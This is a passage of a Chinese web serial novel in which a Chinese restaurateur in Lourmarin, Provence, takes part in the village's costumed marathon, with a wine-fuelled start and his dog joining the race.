罗南刚搬来卢尔马兰那几个月只敢在家附近或者村子密集区域活动,如果去了村子外围不熟悉的区域一定会迷路,尤其周围全部是葡萄园时,你会发现周围的道路完全一样,无论是形状还是质地。 不过在比赛前两天,卢尔马兰选手集体去正式比赛线路‘踩场地’时,鄂然发现在熟悉的葡萄园外升起了许多石制‘十字架’。 一个箭头指着——比赛行进方向。 另一个箭头指着——比赛起点位置。 如果你的观察力足够敏锐,还会发现在比赛行进路线以外的地方也出现了许多小塔楼或者小界石,它们的作用都是为了维护比赛的秩序。 晨间运动的队伍越来越庞大,罗南已经无法带着呼呼和马赛一同参与。 制服呼呼的方法已经掌握,只差马赛还需要继续‘军训’,因此罗南只带了马赛出来晨练。 路过一个指示牌时,康奈尔感慨的说: “希望这些指引在比赛结束后不要拆掉,这样游客也不用四处问路了。” 卢尔马兰村缺少路标指引已经不是一天两天的事,热心的康奈尔每天都要充当许多游客的人行指路机。 “哼,通过马拉松赚了这么多钱,他们应该做的更多才对!”亨利跟在康奈尔身后,愤愤不平的抱怨,“该死的政府,每个选手收100法郎,他们简直是疯了!” 队伍中不知道是哪个眼尖的家伙,指着一个方向提醒大家看过去: “哎,快看快看啊,城堡的花园变样子了!” 罗南好奇的看过去。 发现城堡门前原本野蛮生长的大树变成了两排像是正在等待检阅的士兵,树下的草丛也被修剪成了好看的几何图案。 事实上,准备婚礼时,佐伊就想过要给城堡的花园做一次‘美容’,奈何成本太过昂贵无奈只能放弃。 “好大的手笔”罗南嘴角微微勾起。 很显然,卢尔马兰政府投入了巨大的财力和物力,将卢尔马兰进行了一次大升级。 “上帝,那前面是什么?!”领头的康奈尔突然加速向前冲去。 只见一处空地的砾土被刨出一个大坑,里面出现了一汪水,大坑的周围还被石头围起来了。 “他们在卢尔马兰做了个人工湖泊?!”亨利龇牙咧嘴的喊。 吕贝隆极度缺乏水源,整片山区只有一条小溪穿行而过,但水量堪忧。 虽然这个湖泊非常非常小,但在吕贝隆绝对是新鲜东西。 本地小孩如果知道了这个消息,肯定会哭着喊着让父母带自己来这里玩,而且不肯离去。 “可能不止一个——”罗南看到远处的大路上有一辆拉着石头的卡车路过,那后面的石头和这处湖泊四周的是同款式。 波热艰难的追上晨练大部队,气还没喘顺就着急的说: “上帝,你们不知道我看到了什么!我刚刚在路上看到十几辆拉着活家禽家畜的车子,这得多少人才能吃完啊?” “陌生的卢尔马兰”罗南离开了叽叽喳喳讨论的人群,带着马赛继续今日的训练之旅。 比赛前的最后两天,卢尔马兰的一切都在井然有序的进行,完全看不出来,这是这个村子第一次承办如此大型的赛事。 村貌井然有序的提升、比赛井然有序的准备、海量食材井然有序的抵达唯一不井然有序的可能就是人了。 希尔维恨不得踩上轮滑鞋,这样她就可以用1分钟从城堡赶回办公室,好打电话去订购更多的装饰物品。 近两年忙到很少有机会做饭的克劳德,居然套上了围裙带上了帽子,跟着村里年长妇女一起清洗腌渍好的熏肉.只是因为让外来游客品尝到最佳的乡村美食。 特斯斯加的车子不停的穿梭在二十多个补给点间,伙计们将一箱一箱的粉红酒搬下去,再擦亮酒瓶陈列出来。 比赛前一天的傍晚,连老板娘佐伊都加入了擦酒瓶的行列。 “今晚晚宴的酒送去了吗?”她抬头问罗南。 今晚卢尔马兰城堡里要举行一场晚宴,目的是为了欢迎远道而来的选手们。 卢尔马兰的住宿接待能力很一般,目前只有一所酒店,其余全部是家庭民宿,有不少人选择居住在了临近的村子里,开过来用不了多少时间,听说会来不少人。 而作为‘粉红酒之乡’,斯特斯加酒庄的粉红酒必须出席在这个场合。 布兰科给罗南‘记’了一笔账,让他送一些过去。 罗南闷头擦酒瓶子,恨不得自己有‘三头六臂’: “人手不太够用,待会送过去。” 为了不影响本村人生活,也为了不影响外地游客游玩,补给点今天才开始搭建,整个斯特斯加上下都忙飞了。 不止佐伊来帮忙了,罗天海、冯珍、路易、维埃里都在卢尔马兰的各个角落擦酒瓶子呢。 佐伊提醒罗南: “先去送酒吧,瓶子可以慢慢擦。” 罗南左右看了看,发现每个人都在忙着,于是拿起车钥匙: “行,那我亲自去送。” 可能由于在卢尔马兰城堡举办过婚礼的原因,一将城堡和晚宴联系到一起,罗南脑海中出现的画面是——穿着晚礼服的高贵女士和穿着笔挺西装的男士的翩翩起舞的样子。 不过今晚的卢尔马兰城堡看起很‘古怪’,处处充满着不太协调的影子。 卢尔马兰城堡和升级后的花园庄严而高贵,但在其中穿行的人却相当随意。 许多人看上去像是记错了时间,准备马上开始跑步似的。 气垫跑步鞋、运动短裤、无袖背心、只有薄薄一片的汗衫、双肩背包、各种颜色的棒球帽遮阳帽和无数结实的双腿这就是参与晚宴宾客的晚装了。 虽然画面不是很协调,但这些人看上去都非常开心。 因为在晚宴开始前的例行讲话上,布兰科说天气预报显示,明天是个好天气,他祝大家都能取得一个好成绩。 罗南没带其他伙计来,只有他自己,所以卸货的过程相对漫长,不过这期间,布兰科的嘴一刻没停下,这让他获取了不少信息。 “本次马拉松比赛共有15187人报名,其中的5034人得到了比赛的机会,明天将会有4877人穿着鲜艳古怪的衣服奔跑在卢尔马兰的土地上,而如果看到穿着正儿八经衣服的家伙,请一定小心——”布兰科幽默的说,“因为这些专业选手可不会因为你是‘米老鼠’、‘麦当娜’或者‘猫王’而对你们手下留情。” 周围笑作一团,布兰科则继续说道: “明天的比赛,最年轻的选手只有12岁,而最大的已经78岁,预计前来观看的观众人数将超过3万人。” 台下响起热烈的掌声。 不要被尼斯狂欢节或者戛纳电影节那些动辄50万,轻轻松松超100万的人次蒙骗住,那些数据统计的是活动前后的整个周期。 以卢尔马兰的规模、以它的地理位置,举办活动当天能吸引来3万人已经是一个很恐怖的数字。 要知道这里的常住人口只有800多! 罗南也忍不住跟着一起鼓掌,并且鼓得格外卖力。 他发现场地里鼓掌鼓得最激烈的全部是卢尔马兰本村人,只有这些本村人见过卢尔马兰之前的样子,也只有这些本村人知道卢尔马兰走到这一步.有多么多么多么的不容易! 布兰科的声音继续在城堡上空回荡: “我们的活动得到了普罗旺斯当地各界的支持,有300多位志愿者加入到了我们,这其中有心脏专科医生、骨科医生、外科医生,护士总之你能在医院里看到的所有职位我们都有,明天将启用15个医用帐篷,从心脏测试到小拇指破皮,从呼吸失衡到心脏杂音,能够想象得到的疾病都有办法对付,而且我们还协调来了两辆救护车全天候待命。” 一位胳膊比大腿还粗的美人尖叫了一声: “那我们就放心了,可以将全部的精力投入到比赛里!” 布兰科举起杯子敬了一下那位‘金刚芭比’,之后继续说道: “当然了,你们的胃也需要很好的照顾,沿途的26个补给点将提供各种高能量的点心,除此之外,饿了的人还可以品尝到800公斤牛排、300只烤鸡、90只本地新鲜羔羊,25000只牡蛎——” 后面的菜单罗南一个单词都没听清,因为现场的欢呼声已经将城堡掀翻。 “对对对,吃吃吃,都多吃点。”罗南在乱哄哄的环境下笑着自言自语。 山羊赛跑时,‘动物专家’弗雷迪说,哪只羊拉的多,哪只有可能就是冠军。 今年马拉松,‘人类专家’罗南也说了,哪个家伙吃的多,哪个就一定可被超过去。 很快,罗南发现卢尔马兰政府也一定是‘人类专家’,他们绝对想要将20万法郎留在卢尔马兰本地。 晚宴的菜品十分阔绰—— 奶油杂拌烩龙虾、香草鸡腿煨通心粉、葡萄酒炖牛肉.餐桌上的面包堆的比小山还高,葡萄酒也有四五种选择。 “祝大家今晚吃的开心,吃的尽兴!”布兰科终于放下了话筒。 参加晚宴的人当然开心! 全部是好吃的好喝的!! 罗南也开心了。 他坚信,即使其中有人的胃像是搅拌机一样强劲,也很难在吃完这样一顿晚饭后,第二天顺利的跑完42公里。 “卢尔马兰政府是真有钱了。” 罗南送完酒便离开了城堡,回去继续擦瓶子,脑海中不停闪现晚宴的情景。 “对我们来说是好事啊。”康奈尔低着头认真的说,“政府有钱了,村民的好日子就不远了。” 晚上9点多,还有一点活儿没干完,罗南和几个伙计留下收尾,让佐伊先回去了。 罗南点了点头,想到什么,抬头问他: “你有准备服装吗?” 其实很早之前,罗南就知道这次马拉松不限服装,村里的每一张海报上也都写着欢迎大家穿着奇装异服来参与,只不过没有将这个信息放在心上。 但今天晚宴上,布兰科说,明天穿正儿八经衣服的人将会是职业选手。 他想看看,像他这样的业余‘职业选手’人多不多。 康奈尔头都没抬的说: “准备了呀,我妈妈之前给你做的参加山羊赛跑大赛的‘小丑服’没选上,她改了改,把裤子改成裙子给我穿了。” 罗南用揉鼻子掩饰憋不住的笑容,之后回头问亨利: “亨利,你呢?你准备了吗?” 亨利幸福的说: “准备了罗南先生,约瑟芬给我做了一件水手服,她说配上我的帽子一定神气极了。” 罗南不动声色的叹了一口气。 大家都准备了服装,就他没有。 但明天一早就比赛了.还能穿点什么‘奇装异服’呢? 请假条 今天有聚会,小酌几杯,请假一天。 祝大家周末愉快,冬至快乐! 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第570章 群魔乱舞 罗南家唯一称得上‘奇装异服’的是参加山羊赛跑大赛时穿的马术服。 如果这件衣服不算,他只能穿着佐伊的女装去跑步才能加入‘奇装异服’的业余爱好者团队。 佐伊拍着胸脯保证,以罗南的身材和姿色,穿女装绝对会让人眼前一亮,并会起到事倍功半的效果,但罗南以‘女装’太紧,会影响比赛发挥为由,拒绝了佐伊的好意。 晚上10点,罗南家的灯还亮着。 罗南死活不穿女装,马术服的这个造型又被许多人所熟悉,而且距离‘奇装异服’的标准还差点意思.时间紧急的情况下,佐伊决定以马术服为基础,在上面做一些改动。 结婚前佐伊没做过什么针线活,不过精通许多手工艺的她拿起针和线也挺像那么回事的。 她先是把黑色马裤改成了阔腿7分裤,多余的布料折上来做成了‘灯笼’的造型,这样罗南的腿没有束缚了,只是看起来有点滑稽。 上身的米色立领衬衣太过正经,在参考了几位马拉松选手的服装尺度后,佐伊大胆的在衬衣上剪开了好几道口子,美其名曰——透气。 罗南换上新衣服,看着镜子里的自己,啧啧称奇的说: “如果再将脸涂白,我可以直接去参加万圣节派对了。” “事实上我的设计主题是:没落的中世纪王子,不过——”佐伊认为罗南说了一个很好的提议,去梳妆台找起了刷子和粉底,“你说的这个方向也不错,我帮你涂上看看效果。” “哦,不需要了不需要了,谢谢亲爱的。”罗南连连后退,“我认为现在已经足够,辛苦你了。” 如果不是万不得已,他真的不想穿成这个样子去跑马拉松。 佐伊非常不满的摇头: “你知道吗,虽然你总是以‘普罗旺斯人’自居,但你和真正的普罗旺斯人还有很大的差距,你太害羞和含蓄了,不够大胆和开放,既然设计了服装,为什么不再多做个造型?如果是我参加,我会穿着婚纱和高跟鞋跑马拉松,但脸和身上全部是血迹,这太酷了好不好,我相信普罗旺斯人都是我这种心理。” 罗南笑着亲了一下佐伊的额头: “等明年,如果明年卢尔马兰还举办马拉松、你也去报名了.我们就上演一场‘丧尸婚礼’的大戏。” 在和罗南头脑风暴如何‘奇装异服’的这一个小时中,佐伊给自己‘设计’了好几套衣服。 她的兴趣早就被勾起。 但谁要跑马拉松啊? 佐伊一边收拾东西,一边提议道: “去年餐厅举行的万圣节活动似乎挺成功的?不如今年再举行一次?这次我也换上衣服去当服务员。” 去年罗南中餐厅举办的万圣节活动无比成功,整个卢尔马兰像是万圣节主题公园一样热闹,餐厅员工和卢尔马兰村民都乔装打扮成了‘npc’。 罗南思考了一下,点头道: “可以,不过距离万圣节还有一些时间,现在不着急。” 今年卢尔马兰的游客量激增,而且万圣节时商业街上的所有店铺都将装修完毕投入营业,承载量说不定是去年的好几倍。 正想着这些,罗南的脑袋上出现了一顶黑色马术帽,那是原先与这一身衣服配套的帽子。 只是在帽子的顶端多出了一个乒乓球大小的红色小球,那是马赛最喜欢的玩具。 佐伊调整了一下固定玩具的松紧带,上下左右的看了看: “只能暂时做成这个样子,明天有人问,你千万不要说是我设计的。” ‘没落王子’戴上了这顶顶着红球的帽子,多出了些许活泼和俏皮,这是佐伊亲手做的,无论是什么样子,罗南都会戴得开心无比。 “真好看!”镜子里的罗南笑的像个傻小子。 佐伊踮起脚尖在罗南的脸上亲了一下: “幸运女神偷偷告诉我——你明天一定会如愿以偿的。” 比赛日,罗南不需要再做晨练,打算睡饱了再起。 但六点刚过,他和佐伊就被远处隆隆的汽车喇叭声所吵醒。 要知道,他们住在卢尔马兰的‘郊区’,距离核心建筑密集区有好几百米的距离! 两个人迷迷糊糊的爬起来,打开窗帘向外望去,看到很远很远的大路上,车子像长龙一样缓慢的移动着,道路上偶有人影快速移动,似乎是在疏理拥堵的交通,不过还是有暴躁车主控制不住自己的手,狂按滴滴。 “距离比赛还有三个小时就堵车了。”佐伊打了个哈欠,“我去给你做早饭。” 打完哈欠一扭头,罗南已经离开卧室,走进了盥洗室。 盥洗室里传出罗南兴奋的声音: “这些人到这么早,肯定没有地方去,今天餐厅和编制大院可以早点开业,你不用准备早饭了亲爱的,我们去餐厅吃。” 佐伊愣了几秒,一下子清醒了,笑着打开衣柜准备今天的衣服: “真是天生适合做生意。” 郊区都那么吵了,卢尔马兰村里更是热闹的不成样子。 罗南小两口和同样被吵醒的罗天海、冯珍一起,提前把餐厅门打开,经营起了临时‘早餐铺’。 人手有限,食材有限,也没有提前准备,他们只能供应简单的几个品类,但即使这样,门口都差点被踩烂。 许多人见等位无座,也无法快速打包带走,只能含恨离去。 见到那些掉头离开的人,罗南暗自发誓,下次举行活动前,必须提前做好准备,这些可都是钱啊。 罗南待会还有马拉松要跑,虽然人手不够,大家还是阻止了他继续帮忙。 罗南不放心这么早就离开,找了个位置,默默观察起了吃早饭的人。 他见到一位黑瘦黑瘦留着山羊胡的老兄,两口吃完了一张蛋饼,而他面前还有4份同样的。 见到一位穿着海军军装的年轻小伙子,连续吃了十颗煎鸡蛋,叉子还没有要停下的意思。 还见到几个已经换好了比赛服的选手,吃完早饭后围坐在一起讨论‘今年状态不是特别好,很难在3小时内跑完全程’的凡尔赛话题。 看着面前形形色色的人,罗南托着腮帮子陷入沉思。 这些人看起来全都不是他这个只跑了几个月的业余选手可以挑战的。 可以勾起普罗旺斯人兴趣的吸引目光的办法.到底是什么样子的呢? 他今天真的能如愿以偿吗? 早上八点。 路上的车子仍是一辆连着一辆的排队驶入卢尔马兰,中间毫无缝隙可言,而在过去的两个小时里,交通情况一直是这样的。 很显然,马拉松选手们还有一部分堵在路上,正在焦急的摁着喇叭。 但卢尔马兰人的一天,却在8点左右便开始了。 在罗南的中餐厅开业后不久,小吃街上的一些商铺也陆续开门。 卢尔马兰人从来没有见识过如此‘吵闹’的一天,似乎平一周的游客量全部挤成一天到,反正也被吵醒了,就把店铺开起来看热闹吧。 8点半,罗南担心步行也会拥堵,换好比赛服,提前去出发点做准备,发现商业街上的所有商铺都开门营业了。 早上8点半的卢尔马兰,显现出了一股平日里中午才能看到的样子。 这还不是今天最‘神奇’的事情。 更加神奇的是,村里挤满了各种‘怪人’。 实话讲,穿着‘落寞王子’服装,罗南真的挺不好意思的,走路都是低着头,但当他不小心抬头一看—— 哦吼! 带着五颜六色假发的老头,套着芭蕾舞裙的男人,披着牧师袍子的老太太,穿着罪犯服的小孩子,红鼻子的、黑眼睛的、绿嘴巴的.他被‘怪物大军’包围了! “我就说你这身打扮太‘正常’了。”佐伊惋惜的叹气声在几百米外的人都能听到。 有一句话,罗南已经好久没有说过了,但今天他忍不住再次将它搬出: “疯狂的普罗旺斯人!” 罗南像是看电影一样,在商业街上一路走一路逛,还是看到了一些穿着跑步短裤和背心的正常人。 “你看,有很多正常人。”罗南对佐伊说。 佐伊的状态已经亢奋的不行。 如果现在有一个临时报名摊位,罗南猜为了‘奇装异服’,她真的会冲动的去报名参加马拉松! 她好奇的左看看右看看,似乎在评选今天的‘最佳服装’奖该颁给谁: “不可能,绝对不可能,这些人只是还没来及换服装,我这样说吧,只要ta是普罗旺斯人,看到这种氛围体内的血液一定会觉醒,连职业运动员都不会例外,我发誓,等比赛正式开始,还肯穿着短裤背心的人不会超过50,不,30!” 比赛起跑点在卢尔马兰城堡前,这是这座中世纪小村子最标志性的地址。 等他们走到这附近,罗南完完全全相信了佐伊的判断。 周围奇形怪状的人将道路挤的水泄不通,跑道看起来像是万花筒一样令人眩晕。 一个扮桃子的男人单腿直立,一边踢腿一边和他的‘苹果’朋友交谈。 一个比卡福还壮的男子将自己塞入了护士服里,胸口毛像花朵一样在前胸绽放。 还有一个戴眼镜的大哥正在向旁边不知道是朋友还是陌生人的家伙,展示他T-back上的米妮,被展示的家伙露出一口洁白的牙齿。 罗南在起跑点附近只找到了三个正常人,第一个人反穿了他的背心;第二个人的白色T恤上画着一个巨大的胸部轮廓,图形上还有一个油彩没有干涸的手印;第三个人老老实实的穿着短裤背心,但脑袋上套了一只蓝色袜子。 “帽子很不错。”蓝袜帽的选手与罗南擦身而过,羡慕的不成样子。 “谢谢,我妻子做的。”罗南与他点头示意。 “后悔了没有?”佐伊严肃的问。 你身边有全普罗旺斯最具创作力的艺术家,兼最有想法的服装设计师,而你,罗南!却错失了一个‘以貌取胜’的大好机会! 罗南笑着说: “不后悔,不后悔,还来得及。” “马上发枪了,哪还有时间做什么?”佐伊歪着脑袋问。 罗南的眼睛在人群里快速寻找起来,很快,他拉着佐伊的手冲向一处人群: “真的来及,真的!” “希尔维!”他大喊了一句。 佐伊以为罗南说的‘来得及’指的是在比赛前完善造型,结果他们艰难的挤过人群,罗南却和希尔维聊起了别的事情。 今天卢尔马兰政府上下全部出动,他们将和300多位志愿者一起,保证比赛万无一失。 “听说你早上6点多就把店开起来了?你真是太明智了,虽然今天只是刚刚开了一个头,但人流量比我们预估的还要喜人,说不定可以有4万人在今天抵达卢尔马兰!” 她开心的晃动起肩膀,像是在跳一种自创的舞曲: “事实证明,必须举办活动!多多的举办活动!你看看周围这些人,他们都喜欢这种气氛,我们会努力在明年吸引来更多的人来参与这项赛事,我们会努力在每个月都策划出好玩的事情!” “没错,活动太重要了,所以你可以允许我在冲线处摆一块牌子吗,我想预告一下活动。” 周围是在太乱了,罗南只能用喊的,‘距离为42.195公里的开心之旅’在0米处便开始了。 “活动?什么活动?”希尔维也同样大喊。 周围有人自发的唱起了歌曲,罗南只能声嘶力竭的大喊: “万圣节!我想预告万圣节‘化妆舞会’,和今天一样,大家可以穿着‘奇装异服’从白天玩到凌晨,今天是一场‘距离为42.195公里的开心之旅’,万圣节是一场‘时长为24小时的疯狂之旅’!” 在一旁的佐伊听傻了。 因罗南错失‘良机’而憋在心里的火气烟消云散,甚至忍不住笑出了声。 她靠在丈夫的胳膊上,一脸崇拜但听他给希尔维解释什么是‘时长为24小时的疯狂之旅’。 “大胆和开放有什么用?我丈夫能赚钱!他是个赚钱的天才!” 跟希尔维‘交涉’了二十分钟,即将9点半,罗南才加入到了比赛的人群。 这个早上过的很漫长,但却收获满满。 可能是有了新点子的缘故,罗南兴奋到肾上激素飙升,别说42.195公里,就是60公里,他也自信的可以跑下来。 而且一想到等下的起跑鸣枪仪式.罗南就更加控制不住想要赶紧跑出去! 9点半整,所有选手全部集结在卢尔马兰城堡前。 布兰科没有‘高谈阔论’,祝大家取得好成绩后,拉响了一根塞入橡木桶的引信。 在起跑枪声响起的同时,几个橡木酒桶的木塞射向天空,加压过的粉红色‘彩带’直冲而起,在几秒种后,它们在每一位冲出去的选手头顶落下,形成了一场‘粉红色’的美味小雨。 “喷的是粉红酒?!” “第一次见起跑喷葡萄酒的,这个地方真疯,我喜欢!让开全部让开,我要冲到第一个!!” “多来点,多来点,不够不够喝!!” 5000多名‘妖怪’你推我撞的冲上小径。 他们有的挥手,有的唱歌,还有的对着两侧的朋友大呼小叫,迈上了这场‘距离为42.195公里’的开心之旅! 罗南路过父母、佐伊和朋友们,蹦蹦跳跳的与他们打招呼,还做了几个可笑的表情,和平时的状态判若两人。 “加油罗南,加油!” “我们在终点等你,儿子!” “别受伤!!” 在大家将全部注意力放在罗南的身上时,跟着一起来给爸爸罗南加油的马赛不理解的歪起了头。 为什么爸爸今天自己跑步.不带我了? 而且,我的球球在那里啊。 在一个短暂的犹豫后,马赛离开了家人,化成一道灰影向着罗南离开的方向冲了出去! 第571章 不要剥夺开心的权利! 罗南很想好好比赛,一发枪便冲入了第一批队。 但密集的人群将小径完全堵住。 他一会要提防旁边选手支出来的翅膀,一会又差点踩到某人不小心掉下来的鼻子.很难想象马拉松比赛可以用‘举步维艰’来形容。 十分钟过去,一身牛劲的他回头,还能看到卢尔马兰城堡就在身后。 这个时候,罗南终于放下了这是一场‘比赛’的想法,改为享受其中,就像身边的每一个普罗旺斯本地人那样,正式踏上了这场‘距离为42.195公里’的开心之旅。 佐伊对罗南的评价非常准确和客观——距离真正的普罗旺斯人还有着很大的差距,太过害羞和含蓄,不够大胆和开放。 但今天从未有过的体验,让罗南距离彻底的普罗旺斯化又近了一步。 见到路边看热闹的陌生人对他招手,罗南会更加热情的打回去。 见到两侧有人大喊大叫,他会比那些人叫得更大声。 见到有选手试图‘暴力’超车,毫不怜香惜玉、粗鲁的撞开一位位公主、修女、女海盗,罗南会跟在他的身后一起粗鲁的加速,过程中撞掉了一个假屁股。 见到选手对着不知是哪个电视台的摄像机展示自己精心搭配的服装,路过那里时,罗南也会指着胸口上斯特斯加的logo大喊道: “斯特斯加的粉红酒是全普罗旺斯最棒的!” 去他的比赛! 去他的成绩和配速! 今天的目标就是把‘广告’狠狠打出去,再美美的享受这趟旅途! 卢尔马兰四周遍布葡萄园。 有些地方的葡萄藤会一直蔓延到柏油碎石铺成的路面四周,一伸手就可以触摸到它们的温度。 罗南正沉浸入在绿色‘管道’中奔跑的快乐,前方突然响起了鼓掌声和欢呼声,更让人没有想到的是,竟然还有嘹亮的风笛声。 “第一个补给站这么快就到了?” 当跑步不再和比赛挂钩,而是享受,路途一下子就变短了,罗南还以为刚跑了一公里不到呢。 不过随即他想到,42公里的马拉松中设计了26个补给点,每一段路途确实很短,跑步的确很累,但咬咬牙就能到补给点了这样才符合‘开心之旅’的主题。 很快,一个用装葡萄酒的木箱临时搭建而成的舞台出现在了选手们的视线中,几个戴红色贝雷帽的乐器演奏者站在上面,弹奏或者吹奏出独特的苏格兰旋律。 这些乐手和这个舞台是卢尔马兰政府准备的,他们在‘距离为42.195公里’的开心之旅中的每一个补给点都设计了不同的‘节目’。 舞台前有一张十米的长桌,此时桌子前面已经围满了‘贪吃’的选手。 几位打扮的与‘自由女神像’颇有几分神似的女服务员托着托盘在人群中游走,托盘上是倒有粉红色液体的杯子,她们温柔的询问大家是否口渴。 “还可以这样?”罗南知道每个补给点都有不同的设计,也知道桌子上有什么食物,但他并不清楚这些女郎的存在。 卢尔马兰城堡某间临时休息室内。 布兰科突然打了个喷嚏,他用手帕捂嘴,不好意思的说: “可能有些感冒了,你继续说。” 希尔维叹气道: “我说你太宠罗南了,如果被其他合作商知道,花费了同样的数目,斯特斯加居然可以得到这么多‘额外权益’,没有人会再给卢尔马兰的活动赞助了。” 布兰科耸肩反问: “其他客户怎么会知道斯特斯加花了多少钱呢?” 他笑着看了一圈在场的几个人: “你们几个不说出去就好了。” 布兰科把手帕放下,幽默的说: “而且这些女郎不只是为了斯特斯加而存在,选手们难道就不喜欢么?” 女郎的安排起到了立竿见影的功效。 虽然今天参赛的大部分是男性,又虽然这些男性像商量好了一样喜欢把自己打扮成女性,但性取向还是正常的居多。 一些心系比赛、想要拿走20万法郎奖金的人依依不舍的看了看这些女郎,最终转过头去,继续向前奔跑。 而大部分人还是禁不住诱惑,接过酒杯,聚集在舞台四周。 罗南对这些女郎十分好奇,而且也放弃了用成绩取胜这条道路,便也拿了一杯粉红酒,留在补给点休息。 只是他刚刚吃过早饭还不饿,实在吃不下食物,于是在舞台四周闲逛,观察这些女郎是怎么个事儿的同时,听听选手们在聊什么。 事实上,对于讨论的内容,罗南有一定心理预期。 现场太混乱,他早就和熟悉的卢尔马兰村民走散了,其他选手的情况大致相同。 只是些萍水相逢的陌生人,围在一起还能聊什么,肯定和今天的比赛有关啊。 罗南猜,不是聊刚刚那段路途,就是聊焕然一新的卢尔马兰,又或者聊庄严的城堡。 但让罗南无比意外的是,这些人聊的话题全部都和‘漂亮不漂亮’有关。 不要误会啊,他们不是在讨论身边的女郎,而是在说自己。 一个男人说他的睫毛被粉色小雨打湿了,掉在了脸颊上,留下了一道恐怖的黑印,破坏了他‘白雪公主’的造型,让自己看起来像是滑稽的浣熊。 另一个人说他的芭蕾舞裙总是粘住大腿根,让他很不舒服。 还有一个人在抱怨耳朵疼,那是因为他的耳朵上吊着一条‘带鱼’样式的耳环。 很快罗南有了第二个发现,整个补给区没有一个满脸痛苦的选手,每个人似乎都对比赛成绩毫不在意,如果在聊比赛也是互相鼓励,劝说对方‘爬也要爬到最后,看看哪个补给点的女郎最正’。 在第一个补给点停留了1分钟左右,罗南决定继续前进。 不过在离开之前,他有了第三个发现——离开补给点的选手们都选择和陌生人组成‘临时’队伍,像他这样形单影只的选手并不多。 “看看在下一个补给点能不能遇到熟人,实在不行,我也和陌生人组队了。”罗南放下酒杯,继续‘旅途’。 离开城堡后,只能在补给点周围才能看到观众。 再次踏上赛道,两侧全部是横幅和喊加油的选手亲属。 虽然横幅上写的是‘加油艾米丽’,但某位戴着棒球帽的父亲会对每一位路过的选手大喊‘加油你可以的’。 还有人对选手大喊‘把嘴里的东西咽下去,你是来比赛的不是来吃饭的’。 在这些陌生人的鼓励声中,本就亢奋的罗南进行了一个小小的提速,反正很快就到下一个补给点了,不用担心体力。 第二‘赛段’很好跑,选手的密度没有那么大了,罗南超过了许多奇装异服的选手。 有可能是加速的原因,也有可能是因为此时时间将近10点.普罗旺斯一天中最热的几个小时开始了。 当罗南远远看到第二补给点的建筑时,恨不得要把头扎进冰冻粉红酒桶里。 “热死了,热死了。”他冲刺向冰爽的粉红酒。 果然,选择在第二个补给点停留的选手比一个补给点多了很多,而且几乎每个人手里都拿着杯子。 罗南没有在舞台前停留,绕过看热舞的选手,直奔一位手拿托盘的女郎。 两杯粉红酒下肚,罗南才活过来。 这些女郎不知道是从哪里请来的志愿者,罗南一个都没见过,却个个像是罗南培训过的。 见罗南连喝两杯,女郎微笑着说: “这是斯特斯加出产的粉红酒,斯特斯加酒庄坐落在美丽的卢尔马兰,如果喜欢这个味道,离开的时候可以去村里带几瓶,每一个杂货铺里都可以买到。” 罗南的脸一下子就红了: “谢谢,谢谢。” 他当然知道是谁在背后‘搞鬼’,政府的手段真是高超啊。 罗南没有在第二个补给站过多停留的打算。 接下来的3个小时,气温会逐渐升高,趁现在多跑点,可以少吃不少苦头。 不过这次他不算独自出发,想要找找有没有组队的可能。 补给点里有同样打算的选手不在少数。 随着气温升高,随着体能流失,结伴出行是更好的选择。 实在跑不动了,互相鼓励一下,说不定又多跑了一两公里。 不过临时组队也要看缘分。 罗南主动邀请了一位看起来和自己年纪相仿的年轻男士,但对方说这里的烤鸡比上个补给点好吃,他打算补充一下体力再走,如果罗南不着急,可以等他十分钟。 另一位男士主动向罗南发来组队邀请,罗南刚要答应下来,看到了他裸露的后背上画着一个箭头,直指屁股的位置,箭头上面写着‘200法郎’几个单词,礼貌的拒绝了。 佐伊一定不会同意罗南将200法郎花在那里。 舞台附近无果,罗南又去补给长桌附近想要碰碰运气。 没想到听到大家正在笑着讨论一只狗的话题。 “这是本地村民的狗?误入了这里找吃的?” “肯定不是流浪狗,你看它毛发多油亮啊,一看就被精心的打理过。” “哈哈,我看它从赛道上跑进来的,和选手一样呢。” 围着桌子吃饭的选手实在太多,罗南无法看清他们所说的那只狗的样子,不过好奇心颇丰的他,蹲了下去,希望在下面看到一些信息。 很快,他在几十双大粗腿间,捕捉到了一抹熟悉的钢灰色。 罗南一下子瞪大了眼睛。 卢尔马兰有人其他人家的狗也是这个颜色的吗? 他试探性的喊了一句: “是你吗,马赛?” 下一秒,钢灰色的靓影在大腿迷宫里跌跌撞撞的冲出,直奔到了罗南的怀里。 罗南被40多斤的马赛撞倒,一屁股坐到了地上,他想要指责小家伙怎么自己跑出来了,但看到它嘴里叼着不知道是谁投喂的鸡腿,还不忘在罗南怀里嘤嘤嘤撒娇的可笑样子,又什么气都消了。 俗话说的好,会撒娇的女人最好命,狗也是一样的! “这是你的狗?”有选手在头顶问罗南。 “是的,我的狗,可能跟着家人一起来给我加油,一不留神追过来找我了。”罗南哭笑不得的回答。 餐桌附近的志愿者问罗南: “你要如何处理这只狗?需要我们联系你的家人,把它接回去吗?” 现在距离出发点还不算远,罗南的家人很快就可以过来。 罗南沉思了几秒,抬头对志愿者说: “不用联系我的家人,它会和我一起完成之后的比赛。” 毫不夸张的说,罗南跑了两个赛段,根本没几个人正眼看过它。 但马赛和他在一起后,身边的人多到他都喘不过气。 他怎么舍得马赛离开呢? 而且他清楚马赛的实力,跑完全程绝对没有问题。 “你要带狗一起跑?这不太合适吧。”那名志愿者一下子懵了,马上思考最近的电话亭在哪里,想要向上级咨询。 一个穿着婴儿装的老兄替罗南解释: “有哪里不合适吗?你们的报名要求里没说参赛的只能是人。” 人群里挤出一个戴着猫耳朵的少女,她甩着尾巴指自己: “猫能参加,狗为什么不能,你在搞歧视?” 说完,她将自己手里的奶酪喂给马赛: “而且这位选手一看就很有实力啊。” 之前打算和罗南组队的那位‘明码标价’的男士,叉着腰生气的说: “伙计,不要忘记你们自己的宣传语,这不是一场普通的马拉松比赛,而是一场‘距离为42.195公里’的开心之旅,有什么比和自己心爱的宠物狗一起完成马拉松更加开心?请问,你们有什么权利剥夺这份快乐的权利!” 这位可怜志愿者叫来了更多志愿者,认真探讨该不该同意让一只狗加入今天的比赛大军。 在经过短暂的讨论后,他们妥协了: “那好吧先生,你可以带着你的狗继续下面的比赛,祝你们好运!” 